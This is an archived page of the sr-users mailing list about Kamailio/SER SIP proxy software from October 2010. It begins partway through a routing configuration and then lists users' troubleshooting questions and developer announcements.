and discard.'); #added by yenkee sl_send_reply("403", "Not Allowed"); xlog("L_INFO","XLOG: exiting ----------------------------------------"); exit; } } sl_send_reply("404","Not here"); xlog("L_INFO", "XLOG: 404 Not Here ----------------------------------"); } xlog("L_INFO","XLOG: exiting ----------------------------------------"); exit; } #initial requests # CANCEL processing if (is_method("CANCEL")) { xlog('L_INFO', 'XLOG: Method is CANCEL'); if (t_check_trans()) t_relay(); xlog("L_INFO","XLOG: exiting ----------------------------------------"); exit; } t_check_trans(); # authentication route(AUTH); setflag(1); # record routing for dialog forming requests (in case they are routed) # - remove preloaded route headers remove_hf("Route"); if (is_method("INVITE|SUBSCRIBE")) record_route(); # account only INVITEs if (is_method("INVITE")) { xlog("L_INFO","XLOG: Method is INVITE"); setflag(1); # do accounting # ----------------------------------------------------------------------------------------- $avp(s:can_uri) = $ru; # Canonical-URI will be used for rating the session xlog("L_INFO", "XLOG: Engaging Media Proxy"); engage_media_proxy(); # Automatically call use_media_proxy / end_media_proxy on every request and reply that belongs to the dialog # ----------------------------------------------------------------------------------------- } if (!uri==myself) /* replace with following line if multi-domain support is used */ ##if (!is_uri_host_local()) { xlog("L_INFO","XLOG: Appeding Hf P-hing: outbound"); append_hf("P-hint: outbound\r\n"); route(RELAY); } # requests for my domain if( is_method("PUBLISH|SUBSCRIBE")) route(PRESENCE); if (is_method("REGISTER")) { if(isflagset(5)) { setbflag("6"); # uncomment next line to do SIP NAT pinging ## setbflag("7"); } if (!save("location")) sl_reply_error(); xlog("L_INFO","XLOG: exiting ----------------------------------------"); exit; } if ($rU==$null) { # request with no Username in RURI sl_send_reply("484","Address Incomplete"); xlog("L_INFO","XLOG: exiting ----------------------------------------"); exit; } # ---------ENABLING SIP TRACE-------------------------------------------------------------- # Enable sip tracing for users in grp siptrace in mysql db ( nema vplyv na zapisovanie acc informacii ) if (is_user_in("From", "siptrace") ) { xlog("L_INFO","XLOG: Starting sip_trace for From-URI:($fu)"); setflag(22); # sip_trace(); # mne sip_trace nefungoval iba setflag , ak sa nastavi flag na hodnotu v modparam bude robit cdr tool sip tracy } # route(PSTN); # ----------------------------------------------------------------------------------------- # apply DB based aliases (uncomment to enable) ##alias_db_lookup("dbaliases"); if (is_method("INVITE")) { #------------BLOCK NUMBER----------------------------------------------------------------- # Block username if ( is_user_in("From", "blocked")) { xlog("L_INFO", "XLOG: [main route] Account ($fu) to ($ru) is blocked"); sl_send_reply("403", " Account blocked "); xlog("L_INFO","XLOG: exiting ----------------------------------------"); exit; } # ----------------------------------------------------------------------------------------- # Call control allows one to limit the duration of calls and automatically end them when they exceed the imposed limit xlog("L_INFO","XLOG: Before call_control() var rm = ($rm)"); call_control(); switch ($retcode) { case 2: # Call with no limit xlog("L_INFO", "XLOG: [call_control] Call with no limit"); break; case 1: # Call with a limit under callcontrol management (either prepaid or postpaid) xlog("L_INFO", "XLOG: [call_control] Call with a limit under callcontrol management"); break; case -1: # Not enough credit (prepaid call) xlog("L_INFO", "XLOG: Call control: not enough credit for prepaid call"); acc_rad_request("402"); sl_send_reply("402", "Not enough credit"); xlog("L_INFO","XLOG: exiting ----------------------------------------"); exit; break; case -2: # Locked by call in progress (prepaid call) xlog("L_INFO", "XLOG: Call control: prepaid call locked by another call in progress"); acc_rad_request("403"); sl_send_reply("403", "Call locked by another call in progress"); xlog("L_INFO","XLOG: exiting ----------------------------------------"); exit; break; default: # Internal error (message parsing, communication, ...) xlog("L_INFO", "XLOG: Call control: internal server error"); acc_rad_request("500"); sl_send_reply("500", "Internal server error"); xlog("L_INFO","XLOG: exiting ----------------------------------------"); exit; } # ----------------------------------------------------------------------------------------- # ----------------------------------------------------------------------------------------- # Return error message when you are calling on your own number # fU - From username # tU - To username if ($fU==$tU) { sl_send_reply("403","Forbidden calling own number"); xlog("L_INFO","XLOG: Call on your own number: Request-URI:($ru) From-URI:($fu). Sending 403 Forbidden"); xlog("L_INFO","XLOG: exiting ----------------------------------------"); exit; } # ----------------------------------------------------------------------------------------- } # ----------------------------------------------------------------------------------------- # ----------------------------------------------------------------------------------------- # ----------------------------------------------------------------------------------------- # ----------------------------------------------------------------------------------------- xlog("L_INFO","XLOG: Performing lookup( location) "); if (!lookup("location")) { switch ($rc) { case -1: case -3: t_newtran(); t_reply("404", "[local failed] Not Found"); xlog("L_INFO","XLOG: exiting ----------------------------------------"); exit; break; # commented - not used with PSTN case -2: sl_send_reply("405", "Method Not Allowed"); xlog("L_INFO","XLOG: exiting ----------------------------------------"); exit; } # ----------------------------------------------------------------------------------------- # ----------------------------------------------------------------------------------------- # ----------------------------------------------------------------------------------------- # Replacing plus sign with 00 if ($ru=~".*sip:\+.*@.*") { # Check if URI contains plus sign $avp(s:to)=$ru; avp_subst("$avp(s:to)", "/(sip:)\+/sip:00/"); # Replace plus sign with 00 avp_pushto("$ru", "$avp(s:to)"); # Push the value of AVP with name into the SIP message as Request-URI xlog("L_INFO","XLOG: Replacing plus sign in Request-URI ($ru)"); } # ----------------------------------------------------------------------------------------- # ----------------------------------------------------------------------------------------- } # when routing via usrloc, log the missed calls also setflag(2); route(RELAY); } route[RELAY] { xlog("L_INFO", "XLOG: [RELAY] Jumped to route(RELAY)"); #!ifdef WITH_NAT if (check_route_param("nat=yes")) { xlog("L_INFO","XLOG: [RELAY] check_route_param('nat=yes') == 1"); setbflag("6"); } if (isflagset(5) || isbflagset("6")) { xlog("L_INFO","XLOG: [RELAY] isflagset(5) && isbflagset(6)"); route(RTPPROXY); } #!endif # ----------------------------------------------------------------------------------------- /* example how to enable some additional event routes */ if (is_method("INVITE")) { # $avp(s:callee_fr_inv_timer) = 10; xlog("L_INFO", "XLOG: [RELAY] Routing of failure and reply messages"); # t_on_branch("BRANCH_ONE"); t_set_fr(10000); t_on_reply("REPLY_ONE"); t_on_failure("1"); # Registering failure route } if (!t_relay()) { sl_reply_error(); } xlog("L_INFO","XLOG: exiting FROM RELAY ------------------------------------"); exit; } # Presence server route route[PRESENCE] { #!ifdef WITH_PRESENCE if (!t_newtran()) { sl_reply_error(); xlog("L_INFO","XLOG: exiting ----------------------------------------"); exit; }; if(is_method("PUBLISH")) { handle_publish(); t_release(); } else if( is_method("SUBSCRIBE")) { handle_subscribe(); t_release(); } xlog("L_INFO","XLOG: exiting ----------------------------------------"); exit; #!endif # if presence enabled, this part will not be executed if (is_method("PUBLISH") || $rU==$null) { sl_send_reply("404", "Not here"); xlog("L_INFO","XLOG: exiting ----------------------------------------"); exit; } return; } # Authentication route route[AUTH] { xlog("L_INFO", "XLOG: Jumped to route[AUTH]"); #!ifdef WITH_AUTH if (is_method("REGISTER")) { xlog("L_INFO","XLOG: [AUTH] Register pred ifom From-URI:($fu)"); # authenticate the REGISTER requests (uncomment to enable auth) if (!www_authorize("", "subscriber")) { xlog("L_INFO", "XLOG: [AUTH] www_challenge()"); www_challenge("", "0"); xlog("L_INFO","XLOG: exiting ----------------------------------------"); exit; } if ($au!=$tU) { xlog("L_INFO", "XLOG: [AUTH] Forbidden auth ID From-URI:($fu)"); sl_send_reply("403","Forbidden auth ID"); xlog("L_INFO","XLOG: exiting ----------------------------------------"); exit; } } else { # authenticate if from local subscriber (uncomment to enable auth) if (from_uri==myself) { xlog("L_INFO","XLOG: [AUTH] Message is not REGISTER, and from_uri == myself"); if (!proxy_authorize("", "subscriber")) { xlog("L_INFO", "XLOG: [AUTH] proxy_challenge()"); xlog("L_INFO","XLOG: exiting ----------------------------------------"); proxy_challenge("", "0"); exit; } if (is_method("PUBLISH")) { if ($au!=$tU) { sl_send_reply("403","Forbidden auth ID"); xlog("L_INFO","XLOG: exiting ----------------------------------------"); exit; } } else { if ($au!=$fU) { sl_send_reply("403","Forbidden auth ID"); xlog("L_INFO","XLOG: exiting ----------------------------------------"); exit; } } xlog("L_INFO","XLOG: [AUTH] consumer_credentials()"); consume_credentials(); # caller authenticated } } #!endif return; } # Caller NAT detection route route[NAT]{ #!ifdef WITH_NAT force_rport(); xlog("L_INFO", "XLOG: Checking nat_uac_test('19')"); if (nat_uac_test("19")) { if (method=="REGISTER") { xlog("L_INFO", "XLOG: fix_nated_register()"); fix_nated_register(); } else { xlog("L_INFO", "XLOG: fix_nated_contact()"); fix_nated_contact(); } setflag(5); } #!endif return; } # RTPProxy control route[RTPPROXY] { xlog("L_INFO","XLOG: Jumped to route[RTPPROXY]"); #!ifdef WITH_NAT # if (is_method("BYE")) { # unforce_rtp_proxy(); # } else if (is_method("INVITE")){ # force_rtp_proxy(); # } if (!has_totag()) { add_rr_param(";nat=yes"); xlog("L_INFO","XLOG: Adding RR param(';nat=yes')"); } #!endif return; } # PSTN GW routing route[PSTN] { #!ifdef WITH_PSTN # check if PSTN GW IP is defined if (strempty($sel(cfg_get.pstn.gw_ip))) { xlog("SCRIPT: PSTN rotuing enabled but pstn.gw_ip not defined\n"); return; } # route to PSTN dialed numbers starting with '+' or '00' # (international format) # - update the condition to match your dialing rules for PSTN routing if(!($rU=~"^(\+|00)[1-9][0-9]{3,20}$")) return; # only local users allowed to call if(from_uri!=myself) { sl_send_reply("403", "Not Allowed"); xlog("L_INFO","XLOG: exiting ----------------------------------------"); exit; } $ru = "sip:" + $rU + "@" + $sel(cfg_get.pstn.gw_ip); route(RELAY); xlog("L_INFO","XLOG: exiting ----------------------------------------"); exit; #!endif return; } # Sample branch router branch_route[BRANCH_ONE] { xlog("L_INFO","XLOG: BRANCH ROUTE "); exit; } # Sample onreply route onreply_route[REPLY_ONE] { #xdbg("incoming reply\n"); xlog("L_INFO","XLOG: REPLY ROUTE "); #!ifdef WITH_NAT # if ((isflagset(5) || isbflagset("6")) && status=~"(183)|(2[0-9][0-9])") { # force_rtp_proxy(); # } if (isbflagset("6")) { fix_nated_contact(); } #!endif } # Sample failure route failure_route[1] { #!ifdef WITH_NAT # if (is_method("INVITE") # && (isbflagset("6") || isflagset(5))) { # unforce_rtp_proxy(); # } #!endif xlog("L_INFO","XLOG ****************FAILROUTE*($rm)*S_IP($si)**CallID($ci)********************"); if (t_is_canceled()) { xlog("L_INFO","XLOG: exiting ----------------------------------------"); exit; } # ----------------------------------------------------------------------------------------- # Forward call on Voicemail when spefified SIP Status Code is returned. Failure route registered using t_on_failure. # 486 - Busy Here # 408 - Request Timeout # 480 Temporarily Unavailable # if (t_check_status("486|408|480")) { if (t_check_status("486|408")) { xlog("L_INFO","XLOG: [failure route] Forwarding on Voicemail"); } # ----------------------------------------------------------------------------------------- }

2 1

Caller ID issue
by Lucas Alvarez 12 Oct '10

12 Oct '10

Hi, I'm having a problem with the caller ID, I have implemented an integration between asterisk and kamailio following this tutorial: http://kb.asipto.com/asterisk:realtime:kamailio-3.0.x-asterisk-1.6.2-astdb and the problem is that when I call from extension, let's say 1000, to another extension, let's say 2000, the callerid number is always the number I'm calling, in this case 2000. Using xlog and printing $fu, $fU variables I realize that when the call came from asterisk to the destination number, kamailio changes the "From" headers. I will appreciate any kind of help. Regards. Lucas

2 3

Stateful vs. stateless replies from script
by Alex Balashov 12 Oct '10

12 Oct '10

Now that K v3.1.0 provides send_reply(), what is the preferred ideology about whether to send stateful or stateless negative error replies? I mean in general, not in specific cases like digest authentication in the new 'auth' module, where, according to the docs, a transaction and stateful replies are required in order for enhanced nonce replay protection. The traditional wisdom in past bodies of scripts and knowledge in the public realm has been, in my interpretation, that stateless replies are acceptable for final negative responses from script[1]. After all, a reply like "404 Not Found" from the proxy is basically fire-and-forget; why devote additional transactional memory to it while the transaction hold-down timer expires? We do not care if we receive an ACK, nor want anything further to do with this branch. On the other hand, there is a point of view out there that mixing stateless and stateful replies is not good, despite the somewhat increased overhead and resource usage associated with making all replies stateful. This perspective emphasises that if the proxy is fundamentally operating in a stateful manner, it should do so with respect to all messages, rather than allowing a large category of replies to slip under the radar of TM and have possibly inconsistent results. For now, I have changed my code to use send_reply() in all cases where sl_send_reply() was used in the past; it seems easier to let Kamailio/SR make the decision. However, in practice, most requests will result in the creation of a transaction, so it is like replacing sl_send_reply() with t_reply() in the majority of cases. Am I missing anything? Any salient considerations I missed? I am curious as to the consensus about the best practice here from the vantage point of the developers. Thanks, -- Alex [1] Except in FAILURE-ROUTEs, from which only stateful replies may be issued. -- Alex Balashov - Principal Evariste Systems LLC 1170 Peachtree Street 12th Floor, Suite 1200 Atlanta, GA 30309 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/

3 6

Seg fault when executing kamailio 3.1.0
by Mino Haluz 12 Oct '10

12 Oct '10

These are some lines from syslog. Where could I find the problem ? Oct 12 15:13:15 nod2 /usr/local/sbin/kamailio[23102]: DEBUG: <core> [sr_module.c:625]: find_export_record: found <load_tm> in module tm [/usr/local/lib/kamailio/modules/tm.so] Oct 12 15:13:15 nod2 /usr/local/sbin/kamailio[23102]: DEBUG: <core> [sr_module.c:625]: find_export_record: found <t_newtran> in module tm [/usr/local/lib/kamailio/modules/tm.so] Oct 12 15:13:15 nod2 /usr/local/sbin/kamailio[23102]: DEBUG: <core> [sr_module.c:625]: find_export_record: found <t_relay_to_tcp> in module tm [/usr/local/lib/kamailio/modules/tm.so] Oct 12 15:13:15 nod2 /usr/local/sbin/kamailio[23102]: DEBUG: <core> [sr_module.c:625]: find_export_record: found <t_relay_to_udp> in module tm [/usr/local/lib/kamailio/modules/tm.so] Oct 12 15:13:15 nod2 /usr/local/sbin/kamailio[23102]: DEBUG: <core> [sr_module.c:625]: find_export_record: found <t_relay> in module tm [/usr/local/lib/kamailio/modules/tm.so] Oct 12 15:13:15 nod2 /usr/local/sbin/kamailio[23102]: DEBUG: <core> [sr_module.c:625]: find_export_record: found <t_forward_nonack> in module tm [/usr/local/lib/kamailio/modules/tm.so] Oct 12 15:13:15 nod2 /usr/local/sbin/kamailio[23102]: DEBUG: <core> [sr_module.c:625]: find_export_record: found <t_release> in module tm [/usr/local/lib/kamailio/modules/tm.so] Oct 12 15:13:15 nod2 /usr/local/sbin/kamailio[23102]: <core> [mem/q_malloc.c:366]: qm_malloc(0xb4ff8000, 24) called from tm: t_hooks.c: insert_tmcb(159) Oct 12 15:13:15 nod2 /usr/local/sbin/kamailio[23102]: <core> [mem/q_malloc.c:406]: qm_malloc(0xb4ff8000, 24) returns address 0xb516d824 frag. 0xb516d80c (size=24) on 1 -th hit Oct 12 15:13:15 nod2 /usr/local/sbin/kamailio[23102]: DEBUG: <core> [sr_module.c:625]: find_export_record: found <bind_sl> in module sl [/usr/local/lib/kamailio/modules/sl.so] Oct 12 15:13:15 nod2 kernel: [693453.525967] kamailio[23102]: segfault at 0 ip (null) sp bfe37c8c error 4 in kamailio[8048000+1d1000]

2 1

kamailio error in parse message
by hala alramli 12 Oct '10

12 Oct '10

Oct 12 09:15:50 localhost /usr/local/kamailio-1.4-pp/sbin/kamailio[3178]: ERROR:core:parse_method: invalid character øOct 12 09:15:50 localhost /usr/local/kamailio-1.4-pp/sbin/kamailio[3178]: INFO:core:parse_first_line: failed to parse the methodOct 12 09:15:50 localhost /usr/local/kamailio-1.4-pp/sbin/kamailio[3178]: INFO:core:parse_first_line: bad messageOct 12 09:15:50 localhost /usr/local/kamailio-1.4-pp/sbin/kamailio[3178]: ERROR:core:parse_msg: message=<ø^S1^\^B }^S ¡6 } \216^F^A^O\206^D¡½>Oct 12 09:15:50 localhost /usr/local/kamailio-1.4-pp/sbin/kamailio[3178]: ERROR:core:receive_msg: parse_msg failed this error keeping appear in my log file ,what is the reason of that ? or what is cussing that?how can i fix that ? thanks for any help

2 1

Development builds for debian and ubuntu available
by Jon Bonilla 12 Oct '10

12 Oct '10

Starting today, Kamailio's debian repository offers nightly development versions of "master" and "3.1" branches for Ubuntu and Debian distributions. Brief summary of the repository status at the moment: * Flavours: Kamailio * Branches: 3.0, 3.1, master * Distributions: Etch (3.0 stable only), Lenny, Squeeze, Lucid * Archs: amd64, i386 * Sources (deb-src) provided for stable releases * Nightly builds of supported branches All the instructions and status updates can be found here: http://www.kamailio.org/dokuwiki/doku.php/packages:debs We hope you will find these dev builds usefull for testing or playing. Sipdoc Team

2 1

error installing ser
by Meftah Tayeb 11 Oct '10

11 Oct '10

hi all, i have error installing ser in centOs 5.5 i am not getting serctl and serdbctl, only sercmd and ser any idea is welcome thank you -- Meftah Tayeb Sales Manager Ove Telecom direct: +13477595883 INUM: +883510001289101 MSN: sqlsrvx86(a)hotmail.com yahoo: vsdevx86 OVETEL USA: +1-212-401-0707 OVETEL UK: +44-20-34110486 OVETEL Ukraine: +380-44-3607309 OVETEL Jordan: +962-6-2508905 OVETEL South Africa: +27-11-4613345 http://www.ovetel.com follow us on Twitter for the latest price updates: http://twitter.com/ovetel

5 11

Problem with ser - INVITE size problem tcp->udp?
by Simone Felici 11 Oct '10

11 Oct '10

Hello to all! I need a little help with our ser installation (ser-2.0.0-rc1). The continuous groving up of our infrastructure and using even more codecs, causes the INVITE (udp) to be over 1500bytes. An external->incoming call to our proxy sip comes in with a size of ~1300 and will be forwarded to the end device (sua) over 1500. Ser is adding more than 200bytes in the udp packet. I can see 'INVITE' from ser to customer, but the INVITE is not answerred due the size. I'm sure about that, because in certain situations, deleting codec list the packet-size goes under the 1500bytes and all works. To main issue is from external calls to ser server to our customers. Calls started from customers to ser and then out are all ok. Now the question: Could the passage from UDP to TCP solve the issue? Could someone give me an example and how implement it into our ser configuration? The atteched configuration, ser on a mysql basis, is working well in expect the issue described. Thank's a lot for your help! Simon

2 5

Size of an mqueue
by Alex Balashov 11 Oct '10

11 Oct '10

According to the documentation, Optional attribute 'size' specifies the maximum number of items in queue, if it is execeeded the oldest one is removed Is this meant to imply that by default, absent this attribute, queues are boundless? Or is there a default size anyway? Thanks, -- Alex Balashov - Principal Evariste Systems LLC 1170 Peachtree Street 12th Floor, Suite 1200 Atlanta, GA 30309 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/

2 1

Question about mqueue
by Alex Balashov 11 Oct '10

11 Oct '10

First, thank you, Ramona, for implementing 'mqueue', and the development team more generally. I got away from 'acc' over the weekend and how use mqueue + rtimer + sqlops for asynchronous CDR logging. Classy! The question is, there a clean, fast way of checking whether there are more items left in the queue to consume? I would have thought mq_fetch() would return when there's nothing else left in the queue, but it doesn't; instead, it throws the script into an infinite loop. :-) So, I am using: route[RECORD_CONSUMER] { while(mq_fetch("somequeue")) { if(! defined $mqk(somequeue)) break; # Do things with $mqk(...) and $mqv(...) } } Is 'defined' a fast-acting operator within route script? Is there a better way? -- Alex Balashov - Principal Evariste Systems LLC 1170 Peachtree Street 12th Floor, Suite 1200 Atlanta, GA 30309 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/

1 2

git repository open for development
by Daniel-Constantin Mierla 11 Oct '10

11 Oct '10

Hello, just in case someone was waiting for a more formal announcement regarding the close of frozen state for GIT repository, then it is now open for new development. Thanks again to all that helped to make stable branch v3.1.x happen. Daniel -- Daniel-Constantin Mierla http://www.asipto.com

1 0

Re: [SR-Users] 2 instances of openser
by Daniel-Constantin Mierla 09 Oct '10

09 Oct '10

Hello, don't forget to keep the list cc-ed. Further private emails are ignored. On 10/9/10 9:54 PM, Erico Oliveira wrote: > Hi Daniel, > > First, tanks for the help ! > Look... I tried do it with openser, and I got a error (don't ask > me because I don't remember).... Anyway, I will try again and will go > download the kamalio. > After, I return a feedback to you ! ok. Running several instances of sip proxy was possible since ser 0.x.y, year 2002. Cheers, Daniel > Really tanks ! > > Regard's > > On Sat, Oct 9, 2010 at 3:43 PM, Daniel-Constantin Mierla > <miconda(a)gmail.com <mailto:miconda@gmail.com>> wrote: > > I recommend the same of installing last kamailio version, 1.1.1 > is really really old. > > However, I don't understand why you need to edit the binary with > GHex. You can run kamailio (or older versions that had openser > name) as many times as you want with different configuration > files, just be sure you don't conflict on listening sockets. > > For example: > > /usr/local/sbin/kamailio -f /usr/local/etc/kamailio/kamailio1.cfg > /usr/local/sbin/kamailio -f /usr/local/etc/kamailio/kamailio2.cfg > > Cheers, > Daniel > > > On 10/9/10 4:58 PM, Juha Heinanen wrote: > > Erico Oliveira writes: > > Now, I have almost everything functional (like > freeradius and mediaproxy > and mysql requests), but the Openser can't startup..... > For a while, I copy > his binary (*/usr/local/sbin/openser*) to* > /usr/local/sbin/openserhost* and > change the openser file's content -- where was openser.cfg > now is > openserhost.cfg) -- with a hexadecimal editor (GHex). I > created a > */etc/init.d/openserhost > , /etc/default/openserhost* and a* > /usr/local/etc/openserhost/ *too. > > i suggest that you install latest kamailio package for > distribution of > your choice. then, if your problems still persist, send > another email to > the list. > > -- juha > > _______________________________________________ > SIP Express Router (SER) and Kamailio (OpenSER) - sr-users > mailing list > sr-users(a)lists.sip-router.org > <mailto:sr-users@lists.sip-router.org> > http://lists.sip-router.org/cgi-bin/mailman/listinfo/sr-users > > > -- > Daniel-Constantin Mierla > http://www.asipto.com > > -- Daniel-Constantin Mierla http://www.asipto.com

1 0

Failed to start kamailio with permissions module
by Shrouk Khan 09 Oct '10

09 Oct '10

hi all, i am trying to load the permission module in the following manner: loadmodule "permissions.so" #---- permission params ------ modparam("permissions", "db_url", "mysql://openser:openserrw@localhost/openser") modparam("permissions", "db_mode",1) modparam("permissions", "trusted_table", "trusted") and i am getting the following error: ct 9 04:44:25 ubuntu /sbin/kamailio[1469]: WARNING: permissions [permissions.c:604]: default allow file (//etc/kamailio/permissions.allow) not found => empty rule set Oct 9 04:44:25 ubuntu /sbin/kamailio[1469]: WARNING: permissions [permissions.c:613]: default deny file (//etc/kamailio/permissions.deny) not found => empty rule set Oct 9 04:44:25 ubuntu /sbin/kamailio[1469]: ERROR: permissions [address.c:156]: database problem Oct 9 04:44:25 ubuntu /sbin/kamailio[1469]: CRITICAL: permissions [address.c:233]: reload of address table failed Oct 9 04:44:25 ubuntu /sbin/kamailio[1469]: ERROR: permissions [address.c:243]: no more shm memory Oct 9 04:44:25 ubuntu /sbin/kamailio[1469]: ERROR: permissions [permissions.c:627]: failed to initialize the allow_address function Oct 9 04:44:25 ubuntu /sbin/kamailio[1469]: ERROR: <core> [sr_module.c:874]: init_mod(): Error while initializing module permissions any idea what is happening ? -- Regards Shrouk Khan (Khan) System Administrator / Telecommunication System Developer Office: +354 4400807 (Reykjavik) +44 2031370800 (London) Mobile: +66 875049439 (Bangkok) Web: www.softverk.is Reykjavik, Iceland // London, UK // Bangkok, Thailand

4 5

2 instances of openser
by Erico Oliveira 09 Oct '10

09 Oct '10

Hi guys ! I'm new here and I came to the list to try solve a problem first. =) Good.... I have a SIPProxy installed in my machine working with Openser 1.1.1. Now I need to do this SIPProxy answer for 2 different domains and to do something depending of where request came. Now, I have almost everything functional (like freeradius and mediaproxy and mysql requests), but the Openser can't startup..... For a while, I copy his binary (*/usr/local/sbin/openser*) to* /usr/local/sbin/openserhost* and change the openser file's content -- where was openser.cfg now is openserhost.cfg) -- with a hexadecimal editor (GHex). I created a */etc/init.d/openserhost , /etc/default/openserhost* and a* /usr/local/etc/openserhost/ *too. Finally, I edit the "port" (to 5070) and de informations to database connect in new config file. When I try start the software, I get a error like this: *siphost01:/usr/local/etc/openser# /etc/init.d/openserhost start Not starting openserhost: invalid configuration file! siphost01:/usr/local/etc/openser# * Continuing, looking for a log, I see the /var/log/openser/openserhost.log and got: * Oct 9 09:57:17 siphost01 kernel: openserhost[12020]: segfault at 0000000000000004 rip 00000000f7f6696e rsp 00000000ffcccaec error 4 Oct 9 10:04:33 siphost01 kernel: openserhost[12207]: segfault at 0000000000000004 rip 00000000f7fa096e rsp 00000000ffbc49ec error 4 Oct 9 10:05:36 siphost01 kernel: openserhost[12241]: segfault at 0000000000000004 rip 00000000f7f8096e rsp 00000000fff58d7c error 4 Oct 9 10:54:39 siphost01 kernel: openserhost[13443]: segfault at 0000000000000004 rip 00000000f7f7b96e rsp 00000000ffc52a6c error 4* And that is All..... Sorry if I'm doing somethig stupid or if my english is very very bad.... I'm "new" in "Sr world" and I'm brazilian... =) Wait someone helpme with this.... Regards...... Érico Oliveira Solution Manager

3 2

2 instances of OpenSer
by Erico 09 Oct '10

09 Oct '10

Hi guys ! I'm new here and I came to the list to try solve a problem first. =) Good.... I have a SIPProxy installed in my machine working with Openser 1.1.1. Now I need to do this SIPProxy answer for 2 different domains and to do something depending of where request came. Now, I have almost everything functional (like freeradius and mediaproxy and mysql requests), but the Openser can't startup..... For a while, I copy his binary (//usr/local/sbin/openser/) to/ /usr/local/sbin/openserhost/ and change the openser file's content -- where was openser.cfg now is openserhost.cfg) -- with a hexadecimal editor (GHex). I created a //etc/init.d/openserhost , /etc/default/openserhost/ and a/ /usr/local/etc/openserhost/ /too. Finally, I edit the "port" (to 5070) and de informations to database connect in new config file. When I try start the software, I get a error like this: *siphost01:/usr/local/etc/openser# /etc/init.d/openserhost start Not starting openserhost: invalid configuration file! siphost01:/usr/local/etc/openser# * Continuing, looking for a log, I see the /var/log/openser/openserhost.log and got: * Oct 9 09:57:17 siphost01 kernel: openserhost[12020]: segfault at 0000000000000004 rip 00000000f7f6696e rsp 00000000ffcccaec error 4 Oct 9 10:04:33 siphost01 kernel: openserhost[12207]: segfault at 0000000000000004 rip 00000000f7fa096e rsp 00000000ffbc49ec error 4 Oct 9 10:05:36 siphost01 kernel: openserhost[12241]: segfault at 0000000000000004 rip 00000000f7f8096e rsp 00000000fff58d7c error 4 Oct 9 10:54:39 siphost01 kernel: openserhost[13443]: segfault at 0000000000000004 rip 00000000f7f7b96e rsp 00000000ffc52a6c error 4* And that is All..... Sorry if I'm doing somethig stupid or if my english is very very bad.... I'm "new" in "Sr world" and I'm brazilian... =) Wait someone helpme with this.... Regards...... Érico Oliveira Solution Manager

1 0

Re: [SR-Users] Failed to start kamailio with permissions module
by Shrouk Khan 09 Oct '10

09 Oct '10

On Sat, Oct 9, 2010 at 7:22 PM, Shrouk Khan <shroukkhan(a)softverk.is> wrote: > hi, > actually if i make the address table empty , it works. but if i add > any entry to it , it stops working . > my address table looks like this: > > > id grp ip_addr mask port > 3 0 192.168.189.1 32 5060 > > so the mask is the issue ? or the ip address . I am not great with > networking . i am just trying to allow 192.168.189.1 to be able to > send INVITE msg. > > > On Sat, Oct 9, 2010 at 7:13 PM, Iñaki Baz Castillo <ibc(a)aliax.net> wrote: >> >> 2010/10/9 Shrouk Khan <shroukkhan(a)softverk.is>: >> > its kamailio 3.0.3 from : http://www.kamailio.org/pub/kamailio/3.0.3/src/ >> >> And have you checked the netries in "address" table as I have suggested? >> >> >> -- >> Iñaki Baz Castillo >> <ibc(a)aliax.net> > > > > -- > Regards > > Shrouk Khan (Khan) > System Administrator / Telecommunication System Developer > Office: +354 4400807 (Reykjavik) > +44 2031370800 (London) > Mobile: +66 875049439 (Bangkok) > > Web: www.softverk.is > > Reykjavik, Iceland // London, UK // Bangkok, Thailand > -- Regards Shrouk Khan (Khan) System Administrator / Telecommunication System Developer Office: +354 4400807 (Reykjavik) +44 2031370800 (London) Mobile: +66 875049439 (Bangkok) Web: www.softverk.is Reykjavik, Iceland // London, UK // Bangkok, Thailand

2 3

Permission module error
by Shrouk Khan 09 Oct '10

09 Oct '10

hi, i have been trying to use the allow_trusted() to allow or disallow invite request from certain IP address. This is the block that i am using: loadmodule "permission.so" ...... ........ if(is_method("INVITE")){ if(!allow_trusted()){ sl_send_reply("403","Address Not allowed"); exit; } } but trying to restart kamailio after this fails. and from the syslog it says: Oct 9 03:19:49 ubuntu kamailio: ERROR: <core> [sr_module.c:378]: ERROR: load_module: could not find module <permission> in <//lib/kamailio/modules_k/://lib/kamailio/modules/> Oct 9 03:19:49 ubuntu kamailio: : <core> [cfg.y:3330]: parse error in config file //etc/kamailio/kamailio.cfg, line 151, column 12-26: failed to load module Oct 9 03:19:49 ubuntu kamailio: : <core> [cfg.y:3333]: parse error in config file //etc/kamailio/kamailio.cfg, line 356, column 21: unknown command, missing loadmodule?#012 I think i forgot to compile kamailio with the support of permission module . but i do not see it anywhere in the ignore list either. can anyone tell me what could be the problem -- Regards Shrouk Khan (Khan) System Administrator / Telecommunication System Developer Office: +354 4400807 (Reykjavik) +44 2031370800 (London) Mobile: +66 875049439 (Bangkok) Web: www.softverk.is Reykjavik, Iceland // London, UK // Bangkok, Thailand

1 1

Evaluate Perl Return Value in Routing Logic
by "Nicolas Rüger" 08 Oct '10

08 Oct '10

Hello, is there any way to use or evaluate the return-statements of a perl-script in kamailio.cfg? I tried the following in the Routing Logic in kamailio.cfg: if (is_method("INVITE")) { if (perl_exec("my_perl_subroutine") == -1){ xlog("PERL returns -1 \n"); } } Doesn't work. The bad thing is that the return-values of the - perl_exec("XXX") - call are not the same that the perl subroutine "XXX" returns. That's at least what I strongly believe after testing. I do need to read/evaluate the return-value of the perl-subroutine in the Routing Logic to define different routes depending on what the perl-subroutine returns. Is there any way to do that??? Thank you for your help in advance. Regards, Nicolas -- GRATIS für alle GMX-Mitglieder: Die maxdome Movie-FLAT! Jetzt freischalten unter http://portal.gmx.net/de/go/maxdome01

2 5

Regarding SER Listening on two ports
by Saurabh Srivastava 08 Oct '10

08 Oct '10

Hello SER Team, We are using SER as a SIP Server for our purpose. We wan to configure SER to listen on two ports at the same time(i.e. 5060 & some other custom port such as 5090 or something like that). Can you please assist us how can we achieve this, means what changes we need to make such that SER listens on two ports at the same time. Thanks and Best Regards Saurabh Srivastava

2 1

how to check if t_newtran() has already been called?
by Juha Heinanen 07 Oct '10

07 Oct '10

can t_check_trans() be also used to check if t_newtran() has been called on the request earlier in the script? if so, is it so heavyweight thing that it would be better to set a flag when t_newtran() is called and then test the flag? -- juha

1 0

t_relay_cancel usage
by Juha Heinanen 07 Oct '10

07 Oct '10

